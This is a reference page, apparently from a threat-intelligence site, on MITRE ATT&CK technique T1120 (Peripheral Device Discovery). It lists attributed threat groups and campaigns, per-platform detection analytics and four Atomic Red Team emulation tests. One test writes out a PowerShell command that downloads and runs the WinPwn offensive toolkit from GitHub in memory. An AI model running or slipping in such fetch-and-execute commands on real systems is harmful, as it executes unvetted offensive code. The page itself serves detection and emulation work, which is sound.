tfMITRE ATT&CK technique

Peripheral Device Discovery T1120

Tactic: Discovery
Platforms: Linux, macOS, Windows
Version: 1.4
Created: 31 May 2017
Last modified: 12 May 2026

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.[1][2] Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 20%

Threat groups80th percentile · 80% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 8%

Tools & malware92nd percentile · 92% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules50th pct

Detection rules50th percentile · 50% of ATT&CK techniques have more detection rules written.

Peripheral Device Discovery MITRE reference T1120

Top 20%of all ATT&CK techniques for number of groups

9 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Volt TyphoonG1017 ↗

Has obtained victim's screen dimension and display device information.1

created 2023-07-271 referenceaka BRONZE SILHOUETTE

TeamTNTG0139 ↗

Has searched for attached VGA devices using lspci.1

created 2021-10-011 reference

BackdoorDiplomacyG0135 ↗

Has used an executable to detect removable media, such as USB flash drives.1

created 2021-09-211 reference

APT37G0067 ↗

Has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices. 1

created 2018-04-181 referenceaka InkySquid

OilRigG0049 ↗

Has used tools to identify if a mouse is connected to a targeted system.1

created 2017-12-141 referenceaka COBALT GYPSY

Gamaredon GroupG0047 ↗

Tools have contained an application to check performance of USB flash drives. Gamaredon Group has also used malware to scan for removable drives.1 2 3

created 2017-05-313 referencesaka IRON TILDEN

All 9 groups for this technique · 6 newest in this preview

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Operation CuckooBeesC0012 ↗

During Operation CuckooBees, the threat actors used the fsutil fsinfo drives command as part of their advanced reconnaissance.1

2019–2022

Operation WocaoC0014 ↗

During Operation Wocao, threat actors discovered removable disks attached to a system.1

2017–2019

All 2 campaigns for this technique

Offense vs defense T1120

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 0

first rule: 2021 Q3 · 2 of 2 campaigns plotted

Peripheral Device Discovery detection strategy DET0491

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Peripheral Device Enumeration via System Utilities and API Calls

Enterprise

3 platforms

AN1353 · Windows

Suspicious enumeration of attached peripherals via WMI, PowerShell, or low-level API calls potentially chained with removable device interactions.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandLineRegex	Regex patterns for device enumeration utilities (e.g., 'Get-PnpDevice', 'wmic path Win32_USBController')
TimeWindow	Time threshold for grouping device discovery with follow-on access or manipulation
UserContext	Filter privileged or service accounts known to legitimately execute enumeration scripts

AN1354 · Linux

Enumeration of USB and other peripheral hardware via udevadm, lshw, or /sys or /proc interfaces in proximity to collection or mounting behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Drive AccessDC0054	linux:osquery	hardware_events
File AccessDC0055	auditd:SYSCALL	open/read

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ExecutableList	Set of binaries used for peripheral enumeration (e.g., 'lshw', 'lsusb', 'udevadm')
UserContext	Tuning based on which users/scripts are authorized to query device state

AN1355 · macOS

Execution of system utilities like 'system_profiler' and 'ioreg' to enumerate hardware components or USB devices, particularly if followed by clipboard, file, or network activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process exec
Drive AccessDC0054	macos:osquery	usb_devices

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
BinaryList	Commands like 'system_profiler SPUSBDataType', 'ioreg -p IOUSB' that may indicate enumeration
TimeWindow	Temporal grouping of enumeration with follow-on activity (e.g., clipboard capture, exfiltration)

Tests4ExecutorsPowerShell 3 · cmd 1Need elevation0 of 4Have prerequisites0Have cleanup1Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Win32_PnPEntity Hardware Inventory	windows	PowerShell	—	—	Yes
Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity Attack command Get-WMIObject Win32_PnPEntity \| Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt @($Heading; $Break; $Data \|Sort-Object -Unique) \| ? {$_.trim() -ne "" } \|Set-Content $env:TEMP\T1120_collection.txt Cleanup command Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore GUID130ffae1-4bcd-49b6-a580-5cd6612e7cb0
02	WinPwn - printercheck	windows	PowerShell	—	—	—
Search for printers / potential vulns using printercheck function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') printercheck -noninteractive -consoleoutput GUID24be0286-1afb-4d57-8284-818f844edb24
03	Peripheral Device Discovery via fsutil	windows	cmd	—	—	—
Performs pheripheral device discovery utilizing fsutil to list all drives. Attack command fsutil fsinfo drives GUIDfaea5f6b-66a9-4752-a468-a87a1047cf82
04	Get Printer Device List via PowerShell Command	windows	PowerShell	—	—	—
This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying potential devices for further targeting. Attack command Get-Printer GUIDda41781a-81db-4265-9a6b-17604043767b

Tests from Atomic Red Team (MIT licence) · technique definition

Peripheral Device Discovery detections T1120

2 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

50th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs